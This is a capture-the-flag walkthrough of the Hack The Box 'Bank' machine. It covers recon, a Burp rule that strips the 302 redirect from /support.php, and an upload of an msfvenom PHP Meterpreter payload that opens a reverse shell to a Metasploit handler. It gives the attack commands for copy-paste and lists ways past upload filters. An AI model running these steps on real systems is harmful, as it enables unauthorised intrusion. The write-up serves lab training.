Hack The Box - Bank user flag

🎯 Objective

Gain user access on bank.htb by abusing the support.php file upload to achieve remote code execution and retrieve the user flag.

🗺️ Target & Context

• Host: bank.htb
• Goal: Web RCE via file upload ➜ reverse shell (Meterpreter) ➜ read user flag.
• Assumed access: VPN to HTB, Kali attack box.
• Tools: nmap, gobuster/dirb, nikto, Burp Suite, msfvenom, metasploit.

🧭 High‑Level Path (TL;DR)

1. Recon with nmap + content discovery (dirb/dirbuster, Nikto).
2. Find /support.php but it redirects.
3. Use Burp ➜ Proxy ➜ Options ➜ Match & Replace to neutralize 30[12] Found → 200 OK (prevent redirect).
4. Abusive file upload on support form with a PHP Meterpreter payload.
5. Catch reverse shell with exploit/multi/handler.
6. Read user flag.

🔎 Recon

Nmap (top ports / default scripts & versions)

nmap -sC -sV -T4 -oA help_initial_scan -Pn 10.10.10.121

Full‑port scan (no new actionable ports in this case):

Crawl + Dirb/Dirbuster

Manual crawl while wordlist brute‑forcing directories:

Nikto leads

Nikto flagged interesting admin endpoints (e.g., admin.php?...action=users). Pivoting led to support.php flow that redirected to login.

🚧 Redirect Bypass (Burp)

Problem: Hitting /support.php auto‑redirects to /login.php (302/301).
Fix: Burp ➜ Proxy → Options → Match and Replace

• Type: Response header
• Match: 30[12] Found
• Replace: 200 OK
• Comment: Ignore Redirect

Now /support.php renders directly:

💥 Exploitation — File Upload ➜ PHP RCE

Generate a PHP Meterpreter payload:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<YOUR_IP> LPORT=<LPORT> -f raw > shell.php

Upload via the support form, intercept in Burp, and adjust the multipart if needed so the payload gets stored/executed (e.g., tweak filename/extension validation or content-type if enforced). Example modified request:

Start a listener in Metasploit:

msfvenom -p php/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<LPORT> -f raw > shell.php

msfconsole -q
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <LPORT>
run -j

Session received:

Grab the user flag:

📎 Commands (Copy‑Paste)

# Recon
nmap -sC -sV -T4 -oA help_initial_scan -Pn 10.10.10.121

# Directory brute force (example)
dirb http://bank.htb /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Payload
msfvenom -p php/meterpreter_reverse_tcp LHOST=<YOUR_IP> LPORT=<LPORT> -f raw > shell.php

# Handler
msfconsole -q
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <LPORT>
run -j

🧰 Notes & Gotchas

• Redirect filtering is purely a client‑side convenience for testing; the real fix is authz on /support.php and strict upload validation.
• If upload filters block .php, try double extensions, case toggles, or MIME confusion. Always verify where the file lands and how it’s executed.
• Keep a second simple web shell ready in case Meterpreter is unstable.

✅ Outcome

• Bypassed redirect guard, abused support file upload, and obtained a reverse shell.
• User flag retrieved.